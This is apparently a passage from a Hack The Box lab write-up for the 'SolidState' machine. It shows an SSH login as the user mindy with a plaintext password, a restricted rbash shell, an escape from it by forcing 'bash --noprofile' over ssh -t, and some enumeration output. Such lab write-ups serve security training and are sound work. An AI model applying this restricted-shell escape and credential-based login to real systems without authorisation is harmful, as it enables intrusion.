Restricted Access


After resetting passwords for every existing user, I have enumerated the SSH credential of the mindy user

Now connecting

┌──(kali㉿kali)-[~/archive/htb/labs/solidstate]
└─$ sshpass -p 'P@55W0rd1!2@' ssh mindy@$IP
┌──(kali㉿kali)-[~/archive/htb/labs/solidstate]
└─$ sshpass -p 'P@55W0rd1!2@' ssh mindy@$IP
 
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
 
mindy@solidstate:~$ whoami
-rbash: whoami: command not found

Initial Foothold established to the target system as the mindy user

mindy@solidstate:~$ echo $SHELL
/bin/rbash

however, it would seem that i am in a rbash session. This must be what the james user referred as a “restriced access”

rbash Escape


┌──(kali㉿kali)-[~/archive/htb/labs/solidstate]
└─$ sshpass -p 'P@55W0rd1!2@' ssh mindy@$IP -t "bash --noprofile"
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami
mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ hostname
solidstate
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:3e:11 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.51/24 brd 10.10.10.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:3e11/64 scope global mngtmpaddr dynamic 
       valid_lft 86395sec preferred_lft 14395sec
    inet6 fe80::250:56ff:feb9:3e11/64 scope link 
       valid_lft forever preferred_lft forever

rbash escape can be very much limited in general In this case, a pre-command "bash --noprofile" with the -t flag to force pseudo-terminal allocation would do the trick